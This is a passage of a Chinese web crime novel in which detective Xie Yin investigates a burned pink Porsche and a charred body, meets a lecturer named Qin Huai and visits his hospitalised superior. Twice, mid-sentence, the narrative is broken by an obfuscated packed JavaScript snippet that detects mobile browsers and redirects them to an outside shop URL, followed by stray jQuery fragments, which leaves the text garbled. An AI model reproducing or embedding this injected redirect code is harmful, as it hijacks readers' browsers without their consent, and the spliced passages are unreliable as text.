《诡秘档案》 1. 豪车惊魂1 梧桐树稍上此起彼伏的聒噪蝉鸣,像找不到旋律却依旧扯嗓子卖命的哭坟人,并不情真意切地哀悼着炎热夏季里枯死的树干。天际上滚滚浓云严丝合缝地笼罩着灰蒙蒙的大地,透不过一丝天光。整个城市闷热不堪,天地万物都在翘首期盼着一场大雨,可以洗涤去这黏腻的湿热感。 不过是上午10点,A市南郊喜乐村外4公里处的旱水沟附近出现场的民警们个个手里都拿了手电筒。 他们围在一辆已经被烧焦得几乎只剩下框架的跑车旁,法医和技术人员正在对车况和车内的尸体进行检验取证。 闷热的天气让每个人心头都燃着一把火,两位身穿便衣的民警一边勘查附近情况,一边焦躁地往国道那头望着。 瘦高戴眼镜的民警先开口了:“谢队怎么还没到?要不你打电话催催?” 相比之下稍矮一点的那个白了他一眼:“你小子看着老实,就知道蔫坏,你怎么不打电话催呢?催催催,我催谢头儿一个电话,他催我命!” 眼前的这对活宝,高的叫卢晓明,矮的叫韩易,俩人打警校时就是室友,毕业进刑警队又同时拜谢隐为师,天天形影不离,掐不完的架。活脱脱现实版的没头脑与不高兴。 俩人正斗嘴,一阵急促的警笛声传来,离老远就看见警车停在了国道旁。两位小民警喜出望外,可算把这尊大佛给请来了。结果二人嘴角刚堆起的笑意还没来得及伸展完毕,下巴就不自觉地差点落在脚面上。 眼珠子都快瞪出来了,也不敢相信自己看到的景象。 车上齐刷刷下来三位制服民警,一人手上带着手铐,另外两人,一脸严肃地监督着他下车后的一举一动。 警察被警察铐起来了?而且戴手铐的,竟然还是他们口中的“谢头儿”! 谢头儿,就是谢隐,A市刑侦支队副队长。三个月前刚提了副处级,警衔还停留在二级警督没来得及升,就被借调到省厅专案组赶赴西南缉毒去了。下了飞机刚好赶上省厅的表彰大会,表彰会还没结束,就被队里紧急召回勘察现场来了。 卢晓明不自觉嘟囔起来:“不是说表彰大会么?省厅给谢头儿颁了副纯银打造大手镯?” 韩易就机灵多了,也不理他,三步并作两步朝来人奔去,一脸谄媚笑意:“哟,二位领导辛苦,还亲自陪我们谢头儿来出现场。” 他瞥了下谢隐腕上的手铐,继续笑:“这内部矛盾咋还动用暴力机器了呢?那面还有人民群众呢,让他们看见多不好?” 这个活宝话音一落,不仅谢隐笑了,两位省厅督查也跟着笑了。 谢隐也是顺竿子就爬:“岳大哥,你也看见了,我手下都在呢。你这么铐着我,我这张老脸往哪搁?” 这位被称为“岳大哥”的省厅督察白了他一眼,实在听不下去他这凡尔赛的言论。谢隐的那张脸要是能被称为“老脸”,那他岳继龙的这张脸都可以做历史保护文物了。 也不怪岳继龙这么想。谢隐算得上整个c省公安系统公认的帅哥。 就拿现在来说吧,谢隐个子很高,穿着警服。长袖制式衬衫扎进裤子内,双腿又长又直,强劲有力的肌肉线条和宽肩窄腰的身型一览无余。深邃的眉目轮廓和俊逸的面部线条让他怎么看都有着翩翩佳公子的清冷澄澈感,可偏偏留着贴头皮的青茬寸头,眉角的疤痕明晃晃的,又让人不得不觉得他是个十足的硬汉。 亦正亦邪的气质完美交融着,丝毫没有冲突和违和。 岳继龙咂么了一下嘴,把谢隐拉到了一旁:“我说兄弟,给你解开铐子没问题,但你可得答应哥,别再犯浑啊。” 他顿了顿,仍有些不放心:“哥出生入死半辈子,没犯过啥错误。眼瞅要退休了,你可不能给哥上眼药。” 谢隐混不吝一笑,又赶紧假正经地回答:“放心吧哥,处理完这个案子,我就赶紧再钻回铐子里,老老实实和你回去关禁闭去!” 岳继龙一脸无奈地摇摇头,“你啊你啊”,抬手帮谢隐打开了手铐。 谢隐丝毫不耽误,转头便向现场走去。一边走,一边接过卢晓明递过来的手套和鞋套。 卢晓明低声耳语:“怎么回事啊头儿?怎么还被铐起来了?” 谢隐苦涩一笑:“表彰会上一个没忍住,把曹力帆那老东西给揍了。” 卢晓明先是惊愕了几秒,随后投来佩服的目光:“您当着厅长的面把战友给打了?您真是旷古烁今的警界第一人。” 说完了还不忘伸出右手拇指,点了个大大的赞。 谢隐一把拍掉卢晓明那没有二两肉的狗爪子,剑眉尾梢轻轻一挑,轻描淡写问:“曹力帆,难道不该打吗?” 卢晓明和韩易当然并不知道今天具体发生了什么,但曹力帆这个人,他们还是认得的,是他们队里的老人儿了。现年四十八岁,四级调研员。年轻时候干过片警,搞过经侦,后来来了刑警队。老警油子一个了。干活拈轻怕重,有肉吃比狗鼻子都灵。 谢隐和他的手下历来看不上这种败类,但往日里也算井水不犯河水。今儿这滚刀肉怎么膈应到谢隐这尊煞神了,卢晓明他们也不知道。 但出于对老大的绝对崇拜,卢晓明和韩易连犹豫都没犹豫,狠狠地点了点头,齐声说道:“对,揍他丫的。” 谢隐没再废话,转头问:“什么情况,非要我亲自过来?” 韩易指着烧毁车身的方向:“今早接到报案,说旱水沟里发现了一个燃烧殆尽的汽车,里面有一具高度碳化的尸体。车应该是从桥上翻下去的,我们现在不确定的是意外交通事故,还是蓄意谋杀,这不想让你过来看看么?” 谢隐听完双眸冷冷一睨,没说话,但意味已然十分明确——跟我学了这么多年,意外还是他杀都分不清,还好意思往出说? 韩易也知道不好意思,嘿嘿一笑掩饰着尴尬,挠了挠头:“这次情况确实比较复杂,辛苦师父了。” 谢隐不紧不慢地戴好手套,套上鞋套,走到车旁。正在工作的民警们见他来了,都起身打招呼:“谢队。” 谢隐点头,示意大家继续。 环视了一下周遭环境,旱水沟上的桥是村里修建的两米宽土桥,年久失修不说,两侧护栏不足30公分。村道更不可能有路灯,如果是夜间行车,车侧翻在桥的北端可能性还是非常大的。车架燃烧完全,附近的荒草也有明显的燃烧痕迹。应该可以确定这里就是第一现场。 “燃烧时间可以确定么?” “这里离村子还有些距离,没有村民看到火光。具体燃烧时间还得做进一步检验判断。不过可以确定的是,是昨晚19点到今早7点之前。” 谢隐:“为什么?” “因为走访中有村民说昨晚19点路过这里,还没看到有车焚毁。今早7点,是报案人的报案时间。” 如此一来,有可能是开的夜车。半夜行车,行至土桥的时候视线不清,导致侧翻,进而导致车身起火,可能性也是很大的。 所以韩易他们无法确定是否为意外交通事故,也算得上情有可原。 谢隐俯下身蹲在燃烧殆尽的车内,仔细地观察起车内的尸体。尸体已经高度碳化,几乎到了难以看出是人形的程度。他抬手将尸体翻了个面,发现外生/殖/器还在,倒是可以确定是个男性。 谢隐眉梢一挑,抬头看向一旁穿着白大褂的女法医:“有什么发现?” 法医也蹲下:“谢队您看,死者虽然高度碳化,但还是能看出头骨两侧的撞击痕迹非常明显,左侧颞顶枕部有多处的骨折现象,右侧颞板也有骨折线。” 谢隐上手观察了一会,淡淡一问:“几处?” “啊?”法医有点没跟上谢隐的思路。 谢隐倒也不愠:“我问你,骨折有几处。” “多处。” 谢隐终于开始面露不悦:“多处是几处?” 女法医不禁怔忪,谢隐这个人,平日里和声细语的,难得的温润持重,让人不自觉地将对他的关注点吸引到他那澄澈磊落的眸光上。可一旦有了愠色,眉梢的疤痕就会瞬间超脱于精致的五官,明晃晃的,摄得人不禁胆寒。 小姑娘年纪也不大,刚参加工作没多久,见领导这气势,不免心慌。越心慌就越说不出话来。 谢隐刚要再问,抬头正对上小姑娘吓傻了的眼神。才意识到自己刚才的样子太凶了。或许是今天被曹力帆激怒过的原因吧,谢隐总有根弦在绷着,人也不自觉地进入到剑拔弩张的状态。 他心底暗暗自嘲,和一个小丫头片子较什么劲呢?谁没个新来乍到的时候呢? 想到这,方才带着刺骨寒意的眉目一瞬间缓和了不少。他捧着死者的头骨指给小法医看:“记着,左侧颞顶枕部四处骨折,右侧两条骨折线,后脑一处撞击痕迹。” 小姑娘哪受得了领导这一会三昧真火,一会瀚海冰霜的。赶紧哆嗦着在记录本上记了下来。 心中还暗暗呢喃:领导怕不是个精神分裂。 一旁的韩易托着腮思考了一会:“也就是说,有可能是车子从桥上跌落下来,翻滚中死者多次撞击头部导致晕厥。然后车子起火,活活烧死在车里了。” 谢隐不置可否,低敛眉目,视线落在死者身旁的一个黑色团状物体上。他仔细观察了一会那个黑色物体,半晌,目光又看向车子的车头方向。 所有人都屏住呼吸,都知道谢隐查案的时候他不问,就不要回答。切忌打断他的思路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说完,谢隐特地观察了一下韩易的表情,就知道这小子肯定不服不忿。 他指着卢晓明手中的证物袋:“那个东西,是燃烧融化又凝固的安全带扣,虽然安全带已经烧没了,那个扣也变形了,但能看出来死者当时是系了安全带的。系了安全带脑袋撞成那样?那国家费劲巴力地普及安全带有屁用!” 韩易万语千言激荡于胸中,结果最后词穷,只滑稽地赞叹了一句:“妙啊!” 谢隐懊恼于自己怎么收了个没文化到连个熨贴点彩虹屁都吹不出来的徒弟,突然想起来:“对了,荆哲呢?” “哦,安抚报案人呢。” 谢隐顺着韩易手指方向看去,警员荆哲的身旁,站着一位长身玉立的青年人,远远的,侧着身,猜不出年纪。那人瘦高,目测比谢隐还要高上几分。头发不长不短,发梢微微卷曲,在山雨欲来的狂风之中轻覆在轮廓俊逸的脸上,主次分明地将优越的下颌线条凸显出来。 男人很白,白得近乎没了血色。发梢的阴影和金丝框眼睛遮住了他的双眼,嘴角轻微上扬,正在和荆哲讲述着什么。远远的,谢隐听不见,却本能觉得对方礼貌的笑意实在没有一分来自真情实感。 谢隐也不知为什么,看见这人在狂风浓云之中站在莽莽天地间的时候,竟生出一丝悲怆与苍凉之感来。 恰在这时,男人不经意间转过头。谢隐的目光猝不及防地跌入一片深邃漆黑的海,透过镜片,谢隐看见一双尾稍微翘的丹凤眼,目光澄澈,却难掩病恹的慵懒。 男人见谢隐望向他,丝毫不觉得惊惧。他用指尖轻推了镜框,眉目更甚清晰了。也恰在此时,他突然对着谢隐展颜一笑——不再是出于礼貌的应付,朗月清风的笑意挣脱了病态的凄清,开出一朵清冷的花来。 谢隐不免怔忪,那个笑容他从未见过,那张脸他也不认识,可他不知为何,升腾起一种难以名状的复杂感觉来。 谢隐搜肠刮肚地想着这种复杂感觉来源于哪,不得其解。只得把原因归结于这笑容有点好看,好看到可以和他这位警界超模相提并论的程度。 对,只是相提并论,远还没到各有千秋,难分伯仲的程度。警队一枝花谢副队长笃定地想。 想到这,谢隐将内心中萌生出的杂念苗头一概打包丢弃了,繁杂难抒的复杂感情变得简单起来,变成了单纯的自尊心受损。谢隐地朝荆哲一挥手,示意对方收工。 心中傲娇腹诽:能笑得这么好看的报案人,不需要安抚。 2. 豪车惊魂2 或许是谢隐这根老油条还算要脸,没把自己心中的小嫉妒明晃晃的表现出来,看起来还带着一点笑意。这让对面的男人明显会错了意,竟然跟着荆哲一起走了过来。 谢隐苦笑,来就来吧,正好会会这个报案人。毕竟刑事案件中,报案人的嫌疑,都是不小的。 想到这,谢隐此地无银三百两地给自己打了一剂强心剂:我是公事公办,绝不是出于嫉妒。我谢隐玉树临风,器识不凡,会嫉妒一个小白脸? 啧,怎么这么白?白得跟孟·······谢隐的思绪戛然而止,他也倏然意识到自己错综复杂的情感由何而来。 谢隐赶紧轻咬舌尖,让自己恢复理智。这个时候,想这些干嘛? 男人比荆哲高,步子大,先一步走到了谢隐面前。笑意丝毫不减,反而愈发灿烂了。 像什么呢?谢隐暗暗思忖了片刻,有点像白画卷上妖异绽放的牡丹。着墨处越是艳丽夺目,留白处越是给人无限遐想。 男人率先伸出了手:“警官您好,我叫秦淮。” 谢隐在办案的时候没有和任何人握手的习惯,但对方毕竟已经伸出了手,该有的礼貌还是要有的。 谢隐伸手,轻轻触碰了一下那只苍白又修长的手。有点冰,倒符合他这寡淡的气质。触感还不错,像未被把玩过的璞玉,在这闷热的夏季里给谢隐带来了片刻的清凉。 倒有了点舒爽的感受。 “你好,刑警支队副队长,谢隐。” 接下来谢隐没有理会秦淮,而是让荆哲汇报了一下报案人的情况。 报案人秦淮,男,34岁。A城政法大学心理学教师,身后的年轻人周舟、栾劲,都是他的学生。 据报案人讲,他们是在今早7时路过村路的时候发现了这辆汽车的。三人到达时,车子已经焚烧殆尽,火也已经熄灭了。 谢隐接过荆哲手中的本子看了看,那龙飞凤舞的鬼画符让谢隐怀疑自己是个彻底的文盲。 他头也没抬,只眉梢微挑:“大学教师······没事来这穷乡僻壤干什么?” 秦淮似乎知道他的意思,神色丝毫没有变化,只淡淡回答:“画画,采风。” “哦?”谢隐来了兴致,“心理学教师带着两个学生出来画画?兴趣还挺广泛。” 秦淮还没说话,一旁的栾劲觉得有点窝火,冷冷回了句:“别说画画了,杀猪都能算是个兴趣。法无禁止即可为,这位警官,您管得还真宽。” 这话明显是在搓火,谢隐今天打曹力帆没打痛快就被拉开,本来气儿就不顺,一时间双方就剑拔弩张起来。 可没等谢隐发作,秦淮却往前挪了半步,语气依旧温和轻柔:“谢警官,孩子小,说话冲,您莫怪。” 一招乾坤大挪移让谢隐有火不能发,看似姿态够低,四两拨千斤。可眼尖的谢隐还是清楚地发现,秦淮向前这半步,生生将栾劲护在了身后。 谢隐突然一笑:“挺好,护犊子。这点对我脾气了。” 就在这时,痕检的一位女同志跑了过来:“谢队,车辆大架号已经损毁十分严重,也没找到行车执照,很难确定车源。” 说到这,又递过来一个证物袋:“只找到这么两片未燃烧完全的车辆碎片,卡在桥墩子边上了。” 谢隐看了一眼,估计是车辆被掀翻下去时候卡住的,犯罪嫌疑人也没注意到这两片碎片,就没扔进去一起烧。 他接过物证袋,看见一片带着淡粉色车漆的碎片,和一个类似车标的东西,是一个字母P。 情况不容乐观。尸体高度碳化,能否采集到有效dna很难说,尸源就不能确定。大架号被损,很难确定车源。现场附近就是郁郁葱葱的玉米地,一眼望不到边的青纱帐,根本没法采集到有效脚印。 现在,除了能够确定这是一起杀人焚尸案以外,竟然一条线索都没有了。 正在谢隐独自思忖下一步该怎么办的时候,让人意外的,秦淮开了口。 “可以给我看看这个物证袋么?” 见谢隐不回答,他举起双手:“我不碰,你拿近一点我看一眼就行。” 谢隐也不知道他葫芦里卖什么药,左右对方都看见了,也无妨拿近些。便递了过去。 秦淮没接,只仔细大量了一番,继续说:“这块碎片来看,并不像是后贴膜或者改漆,而是车辆原色就是浅粉色。原厂漆就是这个颜色的车并不多,再看车辆大概形状,和这个字母P。我觉得这辆车很可能是一辆Porsche。” 他又看了一眼远处烧焦的车辆架子,确定地说:“对,保时捷,冰莓粉色保时捷taycan。” 谢隐一愣,看向一旁的韩易。韩易沉吟片刻,点了点头,有这个可能性。 秦淮继续说:“这是一款保时捷刚刚上市不久的新车,保有量并不高,况且还是粉色这种颜色。谢警官顺着这条思路查,应该很快就能找到车主。如果需要的话,我有A城保时捷车友会的微信群,可以给谢警官做参考。” 谢隐没说话,目光一略,扫过秦淮方才站的方向,一辆深蓝色保时捷卡宴停在村道上,应该就是秦淮一行人的座驾了。 想想大学老师的那点死工资,和对方这三十出头的年纪,谢隐心中明了——得,碰着位富二代。 在争做投胎小能手这件事情上,谢隐从来没觉得自己输给过谁,所以对于对方到底被资产阶级腐化成什么程度也不十分介意。 但他长吸了一口气。因为作为一名警察,破案时当然要广泛采纳人民群众的意见,但被人民群众直接按头指导了,还是挺跌份儿的。 “行,谢谢您,警民鱼水一家亲。改日要真破了这案子,”他突然顿了顿,加重了语气,“到时候您若不是罪犯,我就亲自上门为您送面锦旗去。上书:群众楷模。” 方才犯倔的栾劲一听这话,又来股火。秦淮脸上淡淡的笑意却丝毫不变,温润如常,仿佛根本听不懂谢隐的弦外之音:“谢警官可要说话算话啊。” 天边的炸雷终究夺去苍茫大地上所有蝼蚁一般微不足道的情绪,浓云也终于撑不住重负,大雨滂沱而下,给现场忙碌的所有警民来了个猝不及防的透心凉。 民警们收拾好物证纷纷上车,岳继龙也在这时奔了过来,给谢隐再次戴上了手铐,压回了警车上。 谢隐如他许诺的,十分配合。倒不仅为了给岳继龙面子,而是他所有的情绪和注意力都被集中在了另外一个人身上。 大雨混沌了天地,也模糊了警车内谢隐的视线。 直到走了很远,谢隐仍旧回着头,看向案发现场的方向。 此刻,一个身形颀长的男人在路边,笔挺地撑着一把黑色的大伞,似乎毫不在意冷风兼雨,云淡风轻地立在国道旁边。 渐渐的,与这幕布一般的大雨融为了一体。 —— 省厅也没难为谢隐,关了一宿禁闭也就算罚了。一来这次西南缉毒行确实劳苦功高,二来谢隐那位A市市委常委、常务副市长老爹的薄面还是要给几分的。 不过这些真正的原因统统都没被谢隐考虑到,得瑟如他仍然觉得省厅领导肯定也坚信,警油子就是该打! 出了省厅,谢隐并没有直接回队里,而是拐道去了A市人民医院妇产科。 谢隐常年留着干净利落的寸头,主要原因是脑型好,确实适合寸头。但还有一个旁人很难察觉的小原因,也是谢隐的一点小心机—— 无论头一天晚上累成什么熊样,第二天也不会顶着一脑袋鸡窝,影响形象。 毕竟身为刑警,通宵是常有的事情。 谢隐推门进入病房前,还臭美地用门玻璃照了一下自己的“龙凤之姿”,正打算和病房里的人臭贫两句,没想到病床上躺着的人,他几乎不认识了。 如果不是那双鹰隼一般锐利不减的眸子没有任何变化,谢隐实在没想到病床上这位骨瘦如柴的女性竟然是自己那雷厉风行的老领导。 他一愣,半晌才说出话来:“老大,几个月不见,你想我想成这憔悴样?” 床上的“中年妇女”见谢隐来了,也挺高兴,强撑着坐了起来,靠在床头。 “少给我臭贫!厅里还是罚得轻,你丫这臭脾气就应该关你个三年五载的!” 谢隐挠挠头,唯有在这位老大姐面前才难得袒露出一股憨厚的气质,嘿嘿一笑:“行,还能骂街呢,我就放心了。” 谢隐口中的“头儿”,正是A城刑警支队正职,支队长,蒲冬亭。 莫说是C省A城,就说纵观全国,也少有几个女性刑侦队长。全国散打冠军,一脚踹折过毒贩的肋骨,在深山里蹲过七天七宿抓住逃了12年的杀人犯······A城政法系统响当当的人物,人称“蒲辣子”。 打谢隐从警校毕业就开始跟着蒲东亭干,叫了很多年师傅了。 在谢隐的印象里,“巾帼不让须眉”这句话都配不上蒲冬亭,她一个人赶得上一个加强团的老爷们。干工作有勇有谋有魄力,作为领导有担当能抗事,作为老大姐仗义大气还温柔。都说人生最倒霉的事情就是有位更年期妇女作领导,可谢隐常常觉得,这绝对是谬论中的谬论。 谢隐从没想过,自己那位壮如母牛的师傅,竟然会倒下。往日的飒爽英姿一时间浮在脑海里,不由得心头一酸,说不出的五味杂陈。可谢隐这人混蛋惯了,真让他吧哒吧哒掉几滴眼泪,说两句煽情话,不如给他一刀来得痛快。 想到这,谢隐强忍着涌上喉结的酸楚,硬是比哭还难看地扯开了个笑意:“师傅,这么多年,要不是您今天住的是妇产科,我都快忘了您是个女的了。” 蒲冬亭从床头拿起一把水果刀,谢隐赶忙往后退了一步。以他对他老大的了解,一言不合动刀子,这位中年女性是干得出来的。 蒲冬亭权当没看见谢隐的小动作,笑着又拿起了床头上的苹果。谢隐这才松了口气,极有眼力见儿地上前接过:“这点小事儿还能劳烦削铁如泥的老大亲自动手?小的来就是。” 蒲冬亭本来脸色惨败,被谢隐这一连串鬼话哄得气血好了不少,这才开口问:“昨儿为什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043544|148943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么打人呐?我才病几天,就给我惹祸。” 谢隐聚精会神给苹果削皮,修长的手指上骨节分明,因为拿着刀子,更显得线条流畅好看。 “路见不平一声吼呗,”说完了觉得还不尽兴,又加了一句,“吼完还是好朋友。老大您放心,我干不出那窝里斗的事儿来,不能影响咱们队里的钢铁团结力量。” 原以为蒲冬亭还会接着话茬骂他两句,结果半晌,也没个动静。 谢隐这才疑惑地抬头,却只见蒲冬亭正静静地注视着他。 蒲冬亭长叹了一口气:“你不说我也知道,是为了孟昀吧。” 轻描淡写的一句话,像一粒石子毫不经意地撩动波澜,一时间波涛暗涌汇集万丈深渊,生生能把人给吞个干净,不吐一块骨头。 谢隐原计划说一串“老大英明神武,火眼金睛”的俏皮话搪塞过去,可对着那双能把他心肝肺给看穿的眼睛,谢隐也没了臭贫的兴致。 一种久违的,掺杂着苦涩与无奈的感觉涌上心头,像粗砂纸不甚用力地摩擦着谢隐心头最柔软的那块肉,比钝刀子还磨人。 “他说老孟是警察里的败类。”谢隐眼角眉梢的笑意终于飘散不见了,他神色淡然,像在讲一个好不关己的故事。 可蒲冬亭清楚地看到,他脖颈处,已然泛起了青筋。 “他这么说确实不对。孟昀确实为警队做出了很多突出贡献,即便功过不能相抵,也不能说孟昀是败类。” 功过不能相抵?谢隐错愕抬头:“老大,你也认为那事······是真的?” 那事儿,便是谢隐多年以来无论如何剜骨疗毒,都无法除去的心毒。 孟昀是谢隐警校时候的同学。二人吃住一起,形影不离。在警校一起招隔壁女同学的喜欢,毕业了一起撩警花的春心。一个长得黑,一个长得白,人称“黑白双煞”——不取人命,专勾人心。 孟昀出身农家,比谢隐早熟些。在学校的时候就比谢隐努力,各科成绩都在谢隐之上。到了警队,任劳任怨还细心,做自己的本职工作不说,还时不时得给吊儿郎当的谢隐擦屁股。 二人一路跟着蒲冬亭成长起来,各自当了探长,结果一次联合行动的时候,劫匪抱着同归于尽的态度和孟昀一起跌入了寒冬腊月清明河的冰窟里。 河面冰封河水湍急,最终的最终,老孟的尸体也没能打捞上来。 谢隐一直觉得,那天本该死的……应该是他自己。那晚本来是谢隐值班,结果他家母上非以死相逼让他去相亲,没辙了,谢隐才让孟昀替了个班。 临下班前孟昀还好生调侃了谢隐一番,这一调侃,就成永别了。 孟昀牺牲,顺理成章可以被封为烈士。可偏偏督察在他名下的银行卡里,发现了一笔70万的存款。经查,是某涉黑团伙打给他的。 那被逮捕的黑老大一口咬定这钱是他们转给孟昀行贿的。所有人都信了,唯独蒲冬亭和谢隐不信。 “老大,老孟不是那样的人······我求你了再去和上面反应一下吧。我太了解老孟了,就算老孟家境不好,他也绝对不屑于拿这钱的!” 最终,功过相抵,盖棺定论,并没有给孟昀什么处分,但烈士也没有追封。 当年血气方刚的谢隐为了这事儿差点脱了身上这层皮,和局领导闹了好长一阵子,当副市长的老爹也拿他没辙。 最终还是蒲冬亭劝住了谢隐。她理由言简意赅,“你走了,谁去给孟昀洗冤?” 于是,消沉了许久的谢隐又恢复了往日的张牙舞爪。所有人眼里,他又是那个臭美嘴贫的二代衙内。只有蒲冬亭知道,谢隐长大了,从孟昀死的那天起,长大了。 蒲冬亭对望着谢隐真挚的漆黑瞳仁,半晌才回过神,轻咳了两声:“我怎么认为的,不重要。重要的是······这么多年了,你还学不会放下么?” 放下?学会放下,太容易了。 谢隐也曾想过,斯人已逝,他只要不再想了,不回头了,就可以当作什么事都没发生过。 可每每看到清明河上清白如练的月色时,谢隐说什么都无法忘记,他最好的兄弟,正泡在冰冷的河水中,连尸骨都没能找到。 再后来谢隐陪蒲冬亭聊了很多,话题一离开孟昀,他又恢复了三句一个破包袱的调调。 蒲冬亭卵巢癌早期,发现还算及时,但卵巢没能保住。她也岁数大了,有意早点病退,给后辈倒出位置来,谢隐当然是不二人选。 聊了一会案子,聊了一会警队的未来,谢隐也知道时间不早了,该起身回队里了。 “老大,还有什么嘱咐的?” 蒲冬亭想了想:“那我就希望我出院的时候,要么你把该破的案子都破了,要么你给我领回个媳妇来!” 一提媳妇,谢隐算是没辙了,赶紧搪塞了一句“放心吧,我都抓紧”就跑了。 出了医院的大门,下了一天一夜雨的灰暗天空终于迎来一道明媚却不刺眼的阳光,穿透层层乌云。 照到谢隐心头,最柔软的地方。 3. 豪车惊魂3 谢隐的大长腿刚跨出电梯,卢晓明就已经等在走廊里了。 他递给谢隐一个文件夹,一边走一边向谢隐汇报:“头儿,痕检送来结果,现场没有找到证件等明显证明死者身份的物证,只有一个腰带扣没有烧毁,但无法提供有用信息,尸源暂无法确定。没有采集到有效指纹和脚印,凶手逃匿方向待明确。车辆信息······” 说到这,卢晓明看向谢隐,小心翼翼地在他那俊逸的侧脸上找寻蛛丝马迹。 谢隐正认真思考,耳边声音骤停,他一愣,回头看向卢晓明:“看我干什么?继续说啊。” “呃······”卢晓明知道谢隐没领会他的意思,“头儿,车源暂时没有信息。昨天报案人提供的思路······” 谢隐这才明白身边这跟半老不小的瘦高油条是什么意思,既想走捷径用报案人提供的思路,又怕伤了谢隐的面子。一想到那个叫······秦淮的,对,秦淮,他脸上那仿佛包容万物的笑容,谢隐就不爽。 但不爽归不爽,他提供的信息,暂时看来,方向是对的。 谢隐舌尖轻抵了下上颚,骂了句:“废什么话,有思路就赶紧查。” “得嘞!”卢晓明一旁应着,却没动弹。谢隐看着奇怪,刚想问他怎么还不去,眸光一转,才明白这孙子早就派人去了。如今探谢隐口风,压根不是来请圣旨,顶多算是保一个“不是先斩后奏”。 谢隐:“不用说,也是韩易撺掇的吧?” 卢晓明挠挠头,笑而不语。 谢隐这会没工夫骂人,继续问:“近些天失踪人口有多少?” 卢晓明赶紧把资料翻了篇:“近5天内,全市接到失踪报案13起,其中7起是阿尔茨海默症患者走失。4起儿童走失,其中3起已经找回。另外2起也为成年女性彻夜未归,各自所在区都已经立案。目前没有接到成年或即将成年男性失踪报案。” 谢隐:“看来得扩大排查范围了。” 卢晓明点头:“是,发往其他地市的协查通告韩易刚才已经草拟完了,等您审核签字就能发了。” 谢隐啧了一声:“这会儿怎么不先斩后奏了?” 卢晓明嘿嘿一笑:“韩易说没有九条命,不能可一天招惹头儿。今天惹您生气的份额已经用光了。” 谢隐对着卢晓明的后脑勺拍了过去:“韩易说,韩易说······你学点儿好吧!赶明儿你也甭找媳妇了,把韩易领回家得了。没头脑和不高兴,还真般配!” 现在可以说是线索全无,谢隐在笔记本上用自己才看得懂的画符条分缕析地规划着接下来步骤。倒不是真的有了什么确切的思路,只是十几年从警生涯的经验告诉他,面对一桩没有线索的案件,就犹如面对一堵白墙,看似无路可走,但只要胆大心细地发现哪怕蛛爬蚁蛀的丁点漏洞,推翻一堵墙,不过是须臾之事。 越是这个时候,越不能乱。更何况他是主帅,兵乱乱一个,将乱乱一窝。 既然韩易已经去查车源了,相信很快就能知道车主和车辆牌照号码。谢隐先安排卢晓明去交警队调取案发地较近的几处监控信息,而他自己,则是硬着头皮去啃最难啃的骨头了! 谢隐赶紧用咖啡机煮了两杯咖啡,一杯放好奶和糖,一杯原汁原味,调整好嘴角弯曲的弧度。走廊里路过的警员一见着谢队脸上那机械性的谄笑,就知道,谢队是打算去法医那了。 没错,在这个警队,也就白超然白法医,能油盐不进到让敢收天皇老子当小弟的谢队这么卑躬屈膝了。 尸检科办公室的门没关,谢隐喝了口不加料的美式,倚在门框上打量着屋内伏案忙碌的二人。 正对着的,是昨天在案发现场,他无意间凶了的那位年轻女法医。 “哎呀呀,瞧我这急性,怎么忘了小美女也在呢。”谢隐一副懊恼不已的表情,“这杯加了奶和糖的就送给小美女吧,毕竟人美声甜,适合喝点甜的。另外一杯苦一点的,当然适合我们的大帅哥白法医了。” 年轻女法医叫郭楠,显然还没从昨天的心理阴影里走出来。被领导这非奸即盗的热情攻势一袭击,当场不知所措,茫然地看向旁边的师父——白超然法医。 白超然瞥了一眼谢隐,冷冷说了句:“谢了,我不喝剩下的。” 郭楠有点尴尬,师父性子冷,有洁癖,书卷气浓的特点她是知道的。可这么直白地抢白领导,让顶头上司下不来台,也不太好吧。 但她也没想到,领导还真是脸皮够厚,丝毫没有受到任何影响,大剌剌地坐在了白超然旁边的椅子上,睁眼说起瞎话:“白法医您这什么话,新煮的咖啡,没喝过。” 白超然翻了个白眼,指了指唇角。谢隐这才意识到自己刚喝了一口,留下罪证了。 他也不尴尬,嘿嘿一笑,把两杯咖啡放在办公桌上,凑到白超然跟前:“白法医,尸检结果,出来了么?” 白超然放下手中的笔,坐直了身子,声线清冷:“出来了,谢副队长,您猜猜,死者是怎么死的?” “钝器所伤,昏迷后被烧死的?”谢隐虽不知道具体情况,但也能猜个八九不离十。 “谢副队长业务能力强,知道死者头部有几处撞击伤么?” “啊?”谢隐又没有参与尸检,上哪知道去。不过印象里······ “好几处吧。” 对方冷冷一笑:“好几处,是几处?” 说罢,白超然冰冷的眼神略带挑衅性质地直逼上谢隐的目光,谢隐先是一愣,旋即想起来昨天他和女法医郭楠的对话来。白超然今天这么剑拔弩张,是给小徒弟报仇呢。 赶紧陪笑道歉:“小美女啊,要不孔子他老人家说拜对师父是成功的百分之九十二点五呢,遇到这么严谨细致还护犊子的师父,你也太幸运了。我都有点小嫉妒了呢。昨天是我态度不好了,对待同志不说春风化雨,也不能那么青面獠牙的。我昨儿刚被省厅处分了,心情不好,你别往心里去啊!” 郭楠被这一长串油嘴滑舌绕得个晕乎乎,赶紧摆手:“没事,没事的领导。” 如此一来,白超然倒也没不依不饶,还是很有职业操守地给谢隐介绍起尸体的情况来。 一聊到工作,谢隐方才脸上的嬉皮笑脸不着调,一时间烟消云散了。 “和你猜的差不多,但不是被烧死的。经过细致的检查,死者应该是外伤及继发性感染诱发冠心病急性发作而猝死,之后才被扔进车焚尸的。” 白超然没说具体的判断依据,但谢隐也不打算过问。尽管二人火焰冰霜不相容,但谢隐对于白超然的专业水准还是极信得过的。 “不是第一现场吧?” 